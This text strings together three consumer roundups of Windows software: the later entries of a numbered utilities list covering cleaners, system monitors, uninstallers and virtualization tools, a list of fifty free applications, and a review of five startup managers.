Marxio Timer can perform any action (or actions) you preset for a select time, everything from shutting down to logging off to hibernating to displaying text to running a program. It can even simulate the press of a specific key on the keyboard, or take a screen grab, or several grabs one after the other.

163. NoSleepHD
nosleephd.codeplex.com Free
External hard drives are handy and useful, and occasionally infuriating when you find them in automatic sleep mode and you want to access some data quickly. This little bit of code prevents that from happening by writing an empty text file to the drive every few minutes.

164. WinPatrol 2009
winpatrol.com Free; Plus edition, $29.95
WinPatrol does a lot: It’s a security monitor alerting you to changes you may not have made, for starters, and it comes in a (slightly less powerful) portable version. Where it excels is in assisting your Windows system at start-up, delaying or deactivating processes as you see fit.

System Cleaners

165. AppRemover
www.appremover.com Free
Security suites are notoriously hard to get rid of entirely—that’s a feature, not a bug, as each suite thinks it’s doing you a favor by digging in its heels. AppRemover eradicates the remnants of McAfee, Norton, TrendMicro, and more—the list seems never-ending—so you can switch to a new security suite. Works with Windows 7.

166. CCleaner
www.ccleaner.com Free
It’s no secret that the first C in this program stands for “crap,” and that’s exactly what it goes after, in your browser, the Registry, and all the other spots in Windows where flotsam like temp files and log files can accumulate. Its creator, Piriform Ltd., updates the app frequently and promises CCleaner is malware-free.

167. Little Registry Cleaner
sourceforge.net/projects/littlecleaner/ Free
Another portable tool for the arsenal on your USB flash drive, this app checks the Registry for unneeded items and cleans them out—a must for tackling your family’s and friends’ computer issues. It also has options for speeding system start-up and creating restore points.

168. nCleaner second
www.nkprods.com/ncleaner/ Free
If you’re afraid your Windows Registry is filled with gunk left behind after you’ve installed and uninstalled all of the utilities we list here, try nCleaner. It gives you control over what you erase and what you don’t, and promises it can go deep even into Web browsers to clear up as much as 2GB of unnecessary stuff on the average PC.

169. Norton Removal Tool
service1.symantec.com/support/tsgeninfo.nsf/docid/
2005033108162039?Open&docid=2004030411260104
Free
Symantec’s Norton products are super-popular but not always perfect. And even Symantec had to admit that getting rid of one to try a different security suite is hard with the built-in tools. That’s why the company built this tool, which has only one job: to uninstall Norton 2003 to 2009, and a few others titles like SystemWorks and Norton 360.

170. Stalled Printer Repair
www.fantasticfreeware.com/applications/stalled-printer-repair/ Free
We’ve all seen it happen: You send a job to the printer, it never pops out, and every job you try to print after that adds to the traffic jam. This portable app automatically takes care of that, purging all the stalled jobs it detects in your PC’s print spooler service.

System Monitors

171. WinDirStat
windirstat.info Free
Need to know how much space on your disk is in use, and what’s using it? Windows Directory Statistics (WinDirStat) eliminates the guesswork, providing multiple views—including some graphically beautiful color-coded views—that spell it out for you.

172. Auslogics System Information
www.auslogics.com/en/software/system-information 15-day free trial, then $19.95
Want information about your PC with you when you’re ready to buy an upgrade? This utility generates a full report on systems running Windows 2000 through Windows 7, whether 32- or 64-bit, which you can read on-screen or print to take on your shopping trip.

173. Disk Usage Analyzer
www.extensoft.com/?p=free_disk_analyzer Free
This program does one thing: It creates a list of all the files on your hard disks and tells you which are taking up the most room. Put it to use when you’re running out of disk space, to quickly determine what should get tossed or at least moved to a permanent berth on a backup drive.

174. FreeMeter
www.tiler.com/freemeter/ Free; Professional edition, $22.95
Your performance monitor shouldn’t impact performance. FreeMeter’s 888K free version fills the bill, looking at drive space, CPU usage, memory usage, system up time, and five more stats; the pro version has 19 different monitors.

175. Kiwi application monitor
www.drinkprog.com/kiwi/ Free
Time for a better-looking process and application monitor! Select a process from the Kiwi monitor to get more information, or run the utility in the background to automate tasks and alerts.

176. Process Explorer
technet.microsoft.com/en-us/sysinternals/bb896653.aspx Free
This extra from Microsoft is a major step up from Windows’ built-in Task Manager, especially for power users. Rather than just show processes alone, it also displays handles or DLLs in use by that process. Use the search to find problem areas, or skip out to Google and look up what a listed process does. Once downloaded it’s fully portable, or you can run it right from the Web.

177. ProcessScanner
www.processlibrary.com/processscan Free
This utility from Uniblue scans processes on a PC and compares them to its online database. You get back a report in your Web browser spelling out exactly what you’ve got running, with details no other process scanner can match.

178. Runscanner
www.runscanner.net Free
Runscanner calls itself a “startup and hijack analyzer,” meaning it not only checks everything running on your system but also tells you what processes could be problems. Expert mode is for those willing to do some Windows surgery. Users of Beginner mode can submit a report log to an expert and get back a file that Runscanner uses to perform fixes.

179. SpaceSniffer
www.uderzo.it/main_products/space_sniffer/ Free (donationware)
Get a graphical representation of every file on your computer (called a treemap) delineated by boxes that are big for big files, small for smaller files. You can decrease the number of boxes you see if the interface becomes overwhelming. Portable and ready for use on your USB flash drive.

180. SpeedFan
www.almico.com/speedfan.php Free
Check under the hood of your PC with SpeedFan. It monitors data points you may not even realize are important, from the temperatures of your hard disks to the speed of the fans that keep everything from overheating.

181. SpyMe Tools
www.lcibrossolutions.com/spyme_tools.htm Free
Sometimes things happen to the Windows Registry that shouldn’t—such as changes made by malware. SpyMe outputs a copy of the Registry from before and after a change, so you can restore the older version if SpyMe detects something amiss. It’ll also make Registry backups.

182. System Information for Windows
www.gtopala.com Free; Technician’s version, $69
The fully portable SIW—it could even run from an old-school floppy disk—will spy inside your PC and tell you things you didn’t know about your own computer, including passwords from your browser; product keys and licenses; and the kind of motherboard, CPU, drives, and RAM you’re using. And that’s just the beginning. It works with Windows 7, and all the way back to Windows 98.

183. Xinorbis
freshney.org/xinorbis Free
You can analyze one folder, one drive, or many—even network drives—in a single report. What you get is graphs galore, all of which can be saved for report comparison at a later date.

Text Tools

184. tinySpell
tinyspell.m6.net Free; tinySpell+, $10
Not all applications have a spell-check feature, but tinySpell handles that function for them. As in Word, it tells you as you type if something appears misspelled. The tinySpell+ version even checks text for spelling errors as you copy it to the clipboard.

185. ClipboardFusion
www.binaryfortress.com/clipboardfusion/ Free
Frequent cutting and pasting of formatted text can lead to annoyance when the formats become garbled. This app monitors your clipboard and removes all formatting from whatever it sees—even HTML tags (if you want it to)—so you paste only clean, unformatted text. Or try the PCMag.com utility ClipTrak Pro, a clipboard manager that lets you organize your clips, edit and spell check them, and more.

186. PhraseExpress
www.phraseexpress.com Free for personal use; $50 for commercial use
PhraseExpress runs in the background, looking for predefined typed text (for example, “sig”) and then replaces it with whatever snippet of copy you want, be it plain text or a full helping of HTML. It can run off a USB flash drive, so your text replacements are available on any PC.

187. Texter
lifehacker.com/software/texter/lifehacker-code-texter-windows-238306.php Free
The fine folks at Lifehacker built their own text-substitution tool to share with the world. It supports wildcards for inserting data like the current date and time. If you turn on the instant-replacement feature, you don’t even have to hit space or return. Texter now has a universal spelling autocorrect feature, just like Word’s, but it works in every application.

188. Zilla PDF to TXT Converter
www.pdfzilla.com/zilla_pdf_to_txt_converter.html Free; PDFZilla, $29.95
Stick a big batch of Adobe Acrobat files into this tool and it will extract all the ASCII it can find and spit out plain text files. The $29.99 PDFZilla product (Zilla’s big brother) converts to other formats, including HTML and Word.

Uninstallers

189. Revo Uninstaller
www.revouninstaller.com Free
Maybe the perfect replacement for Windows’ own uninstaller, Revo chucks programs with the usual built-in uninstall routine but follows up with a check of the hard drive and the Registry for anything left behind. It comes in a portable version for USB flash drives.

190. Absolute Uninstaller
www.glarysoft.com/au.html Free
A far more powerful uninstaller than the typical Windows control panel, Absolute will clean up after deleted programs that leave bits of themselves around the Registry and your hard disk.

191. AppLocker
www.smart-x.com/?CategoryID=216 Free
AppLocker doesn’t get rid of applications, but if, for example, you can’t uninstall one, or you just don’t want someone else to get access to one, the utility can prevent it from running.

192. The PC Decrapifier
www.pcdecrapifier.com Free
When you get a new PC at retail, chances are it came preinstalled (read: bogged down) with extra unwanted and unneeded software (read: crapware). The PC Decrapifier should be the first item you install, as it knows what to look for on your new PC and how to delete that stuff en masse.

193. Remove Empty Directories
www.jonasjohn.de/lab/red.htm Free
Afraid you’ve got a bunch of empty folders on your Windows system? You won’t have them after this utility has its way. (Just don’t delete any temp directories needed by your other programs.)

Updaters

194. Secunia Personal Software Inspector
secunia.com/vulnerability_scanning/personal/ Free
Keeping apps up-to-date is important because older software can have security holes. This inspector checks specifically for programs that may leave you exposed.

195. FileHippo.com Update Checker
www.filehippo.com/updatechecker/ Free
Run this utility once in a while and it will compare installed apps against the vast collection at FileHippo.com, even against updates still in beta. The results come up in a Web page where you can download new versions to install.

196. Update Notifier
cleansofts.org/view/update-notifier.html Free
Linux users know the joys of frequent updates, not just in an OS that’s kept up-to-date but also third-party software that never gets old. Windows users have to work at that. Update Notifier helps: When a new version of a third-party program you’re running becomes available, the utility makes it easy for you to download and install it.

Virtual PCs

197. VirtualBox
www.virtualbox.org Free for personal use
Install open-source VirtualBox on just about any OS that runs on x86 chips (even Mac, Linux, and OpenSolaris) and you can run a “guest” OS inside it—including those above plus Windows NT, 2000, XP, Vista, and 7. It’ll even load a 64-bit OS inside a 32-bit host OS.

198. Parallels Workstation
www.parallels.com/products/workstation/ $49.99
A venerable virtualization tool, Parallels runs other operating systems inside Windows, and now vice versa with Ubuntu and Fedora supported as host OSs. The $79.99 Parallels Desktop 4.0 is also popular for running Windows inside the Mac OS.

199. Portable Ubuntu Remix
portableubuntu.demonccc.com.ar Free
Want to try Ubuntu? Install a full-blown version of the popular Linux distro as an application within Windows. It can even be installed on a USB flash drive, so it can be your portable OS—any changes you make to Portable Ubuntu Remix stick with it. Windows will just treat it like any other application.

200. Returnil Virtual System 2008 Personal
www.returnilvirtualsystem.com/returnil-virtual-system-personal Free for personal use
If you’ve got a system with XP, Vista, or 2003 server, you can mirror it completely on the same system, entirely in system memory. Why do that? So your software will run entirely on the virtualized side. If something goes wrong, your primary installation is still okay. It’s a great way to experiment with software you might otherwise be nervous about.

201. Sandboxie
www.sandboxie.com €22
With a motto like “trust no program,” you know Sandboxie is ready to protect you. An isolated sandbox for running programs, it protects against malware, makes for truly secure Web browsing, and improves privacy because temp files and cookies can’t write to your main OS.

202. Virtual Sandbox
www.fortresgrand.com/products/vsb/vsb.htm $49.95
Run programs in the virtual sandbox to stay safe. They’ll work just fine but won’t have full access to the real operating system’s services. This protects the OS if you want to try something unique; programs in the sandbox can’t even erase files from your drive, only from the virtual environment.

Free Clipart

Are you tired of buying utilities or renewing license to your utilities on your already expensive Windows system? Here is a list of 50 such applications that are free to use. Furthermore, these applications do not require any fees and are available absolutely free.


1    Advanced SystemCare Free

Helps to protect, repair, clean and optimize your PC.

Owner : IObit

2    Wise Registry Cleaner Free

Helps you speeds up your PC by cleaning up your registry. Basically it provides windows registry clean up features with pretty easy to use interface.

Owner: WiseCleaner

3    Ccleaner

Helps you optimize your system by cleaning up the system. Cleanup includes Browser history, Trash Files, Temporary files and Log files. Further, it features un-installation of unused application and the registry cleanup.

Owner : Piriform Ltd.

4    Adobe Reader 9.1

Adobe Reader lets you
•    Open up and interact with all PDF documents.
•    View, search, digitally sign, verify, print and collaborate on Adobe PDF files.

Owner : Adobe Systems Incorporated

5    PDF-XChange

PDF – Xchange standard features includes
•    Add Comments and Annotations
•    Add & apply Custom Stamps
•    Mark-up pages with text and objects
•    Type directly on any PDF page
•    Extract text from a PDF page and few more.

Owner : Tracker Software Products (Canada) Ltd

6    AVG Anti-Virus Free Edition

Protection against viruses and spyware
•    Compatible with Windows Xp or higher
•    Light weight and less overhead on OS.

Owner : AVG Technologies

7    avast! Home Edition

Simplest of application in terms of usability.
•    Daily automatic updates
•    Continuous data protection against all types of malware and spyware
•    Available in 30 different languages.

Owner : ALWIL Software

8    Avira AntiVir Personal – FREE Antivirus

Provides Basic protection
for your computer against dangerous viruses, worms, Trojans.
•    Available in 5 different languages

Owner : Avira.com

9    Avant Browser

Its salient feature include online profile storage to let user save users’ bookmarks, RSS Feeds, configurations or web passwords etc, in Avant Online Storage.

Owner : Avant Force

10    Open Office 3.0

Open office is an open source office suite for Windows. This is available for free download and serves as good alternative to well know Microsoft’s Word & Excel. It has full-featured set of office applications for word processing, spreadsheet, and presentation programs.

Owner : CollabNet, Inc., Sun, Sun Microsystems

11    DropBox

This application lets your share files with an account and you could use up to 2 GB (greater space requires paid accounts). This is quite handy tool for sharing your file over internet.

Owner : DropBOX.com

12    SKYPE

This popular freeware is VOIP based application which helps you voice call and is available for free download. You may make computer to computer calls for free. Moreover, Skype is one of the cheap VOIP service available to make computer to Phone calls.

Owner : Skype Limited

13    Smart Defrag

Smart Defrag helps defragment your hard drives more efficiently.
•    Ease of use along with Data Safety and Reliability Guaranteed

Owner : IObit.com

14    Download Accelerator Plus

  • Provides Mirroring Speed Boost to download from the fastest sources.
  • Available in 38 languages
  • Built-in Twitter integration to Tweet directly from DAP

Owner : SpeedBit Ltd

15    Flash Player

Plays multimedia design made with Flash.

Owner : Adobe Systems Incorporated

16    VLC Media Player

•    It supports various audio and video formats which include MPEG-1, MPEG-2, MPEG-4, DivX, mp3, ogg, etc.
•    Further, it is handy for use with DVDs, VCDs, and various streaming protocols.

Owner : Videolan.org

17    YouTube Downloader

•    YouTube Downloader is software that allows you to download videos from YouTube, Google Video, Yahoo Video, and many others
•    This lets you convert them to other video formats for Ipod, Iphone, PSP, Cell Phone, Windows Media, XVid and MP3.

Owner : Biennesoft

18    Irfan View

•    Fast directory view (moving through directory)
•    Batch conversion (with image processing)
•    Multipage TIF editing
•    File search
•    Email option
•    Multimedia player
•    Print option and many more.

Owner : Irfan skiljan

19    Notepad++

•    It is a very good source code editor with support for several programming languages.
•    Very good search and replace option.
•    It has good Bookmarking and Multi-document support feature.

Owner : sourceforge.net

20    Textpad

•    Huge files can be edited, up to the limits of 32-bit virtual memory.
•    Good search and replace files in huge files.
•    Warm Start feature lets you restart exactly where you left off.
•    And many more.

Owner : Helios Software Solutions

21    Word Web

•    Provides Definitions, Synonyms and Usage for 150000 root words.
•    Includes audio pronunciations
•    Light-weight to the system

Owner : WordWeb Software

22    Applian FLV Player 2.0

•    Play FLV Files on any PC
•    Zoom to 2x or full screen.
•    Includes free audio/video recorder & converter option.

Owner : Applian Technologies Inc.

23    Easeus Partition Manager 3.5

•    Resize/Move partitions without data loss
•    Extend system partition easily and safely
•    Create, Merge, Split, Delete and Format partitions
•    Support up to 2TB partition or hard drive

Owner : CHENGDU YIWO Tech Development Co., Ltd.

24    Free YouTube to MP3 Converter

•    Lets you convert the YouTube video and download it as MP3 or Wav format.
•    Automatically fills the title tag and the artwork in the downloaded mp3 files.

Owner : DVDVideoSoft Limited

25    Undelete Plus

•    Restore accidentally deleted files
•    Image recovery from Compact Flash, SmartMedia, MultiMedia and Secure Digital cards.

Owner : Phoenix Technologies Ltd

26    Video mp3 Extractor 1.8

•    Convert Video Files (AVI, ASF, WMV files)  to mp3
•    Fast audio extraction algorithm
•    Easy to use interface.

Owner : GeoVid.

27    Diagram Designer 1.22

•    Creating flowcharts, UML class diagrams, illustrations and slide shows.
•    Import/export WMF, EMF, BMP, JPEG, PNG, MNG, ICO, GIF and PCX images.
•    Consists of slide show viewer and Simple graph plotter to plot mathematical expressions.

Owner : meesoft.logicnet.dk

28    Real Temp

•    Reads temperature information for all inter Core processors.
•    Keep track of the minimum and the maximum temperature of the processor.
•    Provides calibration features for each core of your processor.

Owner : www.techPowerUp.com

29    Pidgin

•    Free chat client with support for Msn, Yahoo, AIM Google Talk and other chat networks all at once.
•    Supports more than 60 different languages.

Owner : pidgin.im

30    VNC Viewer Free Edition 4.1 

•    Easy connect and use remote computer screen.
•    Easy to install and use.
•    Supports loading and saving of .vnc a file which contains a set of connection options.

Owner : RealVNC Limited

31    Free Video to iPod and PSP Converter

•    Helps convert full video or the part of video to Apple iPod, Sony PSP, BlackBerry and mobile phones MP4 video format

Owner : DVDVideoSoft Limited

32    LimeWire

•    Helps user connect to P2P network and share the file they want to share.
•    Faster starup and less waiting time.
•    Better memory usage
•    Free download and usage for basic usage.

Owner : Lime Wire LLC

33    FrostWire

•    Completely free and open source.
•    Provides Faster Torrent Speeds, I-Tunes compatibility, Friendly online chat rooms, easy navigation and many more.

Owner : frostwire.com

34    JetAudio

Even though plus Vx cost but basic version is absolutely free. Features it consists are as
•    Audio CD ripping
•    Voice recording
•    File conversion between various formats and
•    Audio CD buring.

Owner : JetAudio Inc.

35    Sql Tools

•    This tool is for Oracle 8/9i/10g PL/SQL development.
•    Provides good basic editor services
•    Easy to install and connect to ORACLE server

Owner : Aleksey Kochetov

36    Tortoise SVN

Tortoise SVN is Subversion client having features such as
•    Atomic Commits
•    Directory and File versioning,
•    Versioned Metadata
•    Consistent Data Handling
•    Reliable and quick tagging and branching and many more.

Owner : subversion.tigris.org

37    7 Zip

•    High Compression ratio
•    Compression ratio in the new 7z format is 30-50% better than ratio in ZIP format
•    Supports multiple formats such as 7z, ZIP, CAB, RAR, ARJ, LZH, CHM, GZIP, BZIP2, Z, TAR, CPIO, RPM and DEB formats

Owner : Igor Pavlov

38    The Gimp

The GIMP is a more of the complex image editor like Photoshop available for windows platform. This application is free for download. It is quite good alternative Adobe’s Photoshop with similar features available for use.

Owner : The GIMP Team

39    iTunes

ITunes is a freeware that helps you play your digital music and video. It helps you synchronize your iPod, iPhone, and Apple TV.

Owner : Apple Inc.

40    JCreator

Jcreator is a light weight IDE for Java Programmers. Project management, project templates, code-completion, debugger interface, editor with syntax highlighting, wizards and a fully customizable user interface are some of the functionality that it provides.

Owner : Xinox Software

41    Eclipse

Eclipse is Software Development environment with support for multiple programming languages such as Java, C++, perl, PHP and others.

Owner : The Eclipse Foundation

42    MySql

MySql is a free open-source relational database management system (RDBMS).  This is the most popular open source RDBMS and offers free download and usage. Further this has adequate features needed by small to medium scale database.

Owner : Sun Microsystems, Inc

43    Cygwin

Cygwin is a Linux-like environment for Windows.
This provides a DLL which acts as a Linux API emulation layer providing substantial Linux API functionality.

Owner : Cygwin

44    Apache

•    This is free/open source http web server.
•    This provided Server-side programming language support to authentication schemes.

Owner : Apache Software  Foundation

45    Xampp

•    Xampp is a comprehensive set of web development resources under a bundle.
•    This is integrated package that consist PHP, PHP myAdmin, Mysql RDBMS, Apache Web server, Filezilla Ftp Client and few more.

Owner : Apache Friends

46    HTTrack

•    This is freeware that you download the full website into your local folder.
•    Arranges the file in the same directory structure.
•    Further, lets you browse the pages with offline browser utility.

Owner : Xavier Roche & other contributors

47    AVS TV Box Free

•    AVS TV Box Beta is a FREE universal software TV viewer and comes along with Personal Video Recorder functionality (PVR) .
•    PVR allows you to schedule TV recordings.
•    It works with any windows video capture device like satellite, TV and DVB cards, miniDV cameras, video capture cards and others.

Owner : Online Media Technologies Ltd., UK

48    Mozilla ThunderBird

•    This is good alternative to Microsoft’s Outlook. This is an email client email and Usenet client.
•    Provides features such as easy mail setup, attachment re-minder, One click Address Book and many more.

Owner : Mozilla

49    Free Guitar Tuner

Free guitar tuner provides features for tuning acoustic and electric guitars. It provides few set of tones to tune it.

Owner : GCH Guitar Academy

50    mTorrent

mTorrent is free to download and use torrent client. This is one of the finest, speedy, efficient, and free torrent clients. Ease of installation and use along with user friendly GUI makes it quite popular.

Owner : BitTorrent, Inc.

You boot up your computer and you wait, and wait… and wait, as all sorts of programs, helper apps, widgets, and remnants of forgotten installations load. Grab one of these five popular startup managers and beat back the startup clutter.

Earlier this week we asked you to share your favorite startup management tool for Windows. You shared what you liked best and why, and we’ve rounded up the five most popular tools. If you’ve never used a startup manager before, how would be a great time to start and trim your Windows startup routine back to a more manageable form.
Autoruns (Free)

Autoruns means business. You’ll find no stone unturned in your startup configuration by Autoruns, with options for delving into everything from Windows services and third-party apps that start at boot to print spoolers and more. Autoruns is definitely a tool best applied cautiously and thoughtfully, lest you disable a portion of Windows you’d really preferred to have kept on. Thankfully it has a handy feature that allows you to hide all core Windows components to limit your enabling and disabling to third-party applications.

Startup Delayer (Free)

Startup Delayer’s claim to fame isn’t that it helps you easily remove applications from your startup routine—it does that, but that’s old hat for startup managers. The value of Startup Delayer is its ability to delay and stagger the launching of startup apps. Often times it isn’t so much that you don’t want the application to start when you boot up your computer—it’s that you don’t want 20 applications all launching at one time and leaving you waiting to reclaim control of your computer for 10 minutes. With Startup Delayer you can delete entries, edit entries, and assign a delay time to each entry to stagger the load on your CPU.

MSConfig (Free)

Microsoft System Configuration Utility first made an appearance back in 1998 with the release of Windows 98. The Windows built-in default, MSConfig is a simple utility for managing several key startup-related configurations, including which services start and which applications launch when Windows boots. Beyond simply turning things on and off using checkboxes, you won’t find many bells and whistles—but MSConfig is included in every version of Windows. It’s as easy to use as typing “msconfig” in the run dialogue (Win+R) and unchecking the items you don’t want to launch at startup.

Startup Control Panel (Free)

Startup Runs is a simple alternative Windows startup manager. It’s a mere 34k, portable, and its options are diverse enough to help you manage most startup functions without offering so many options you could mess up your boot process with some overzealous clicking. You can disable startup applications by user, whole group, or by registry entry. Deleted entries are stored for future restoration if you decide you actually did want the entry you removed.

CCleaner (Free)

CCleaner isn’t strictly a startup management tool. Most people use it to clean out cookies and other undesirable elements and to tidy up the registry. A secondary but helpful tool in CCleaner: it also allows you to delete entries from the startup file—hence its inclusion here. It’s a bit of a one trick pony, though; you can’t alter, tweak, or insert entries. You can only delete them. Still, it gets the job done if the task you want isn’t advanced tweaking, but just to get that annoying program to stop popping up every time they reboot.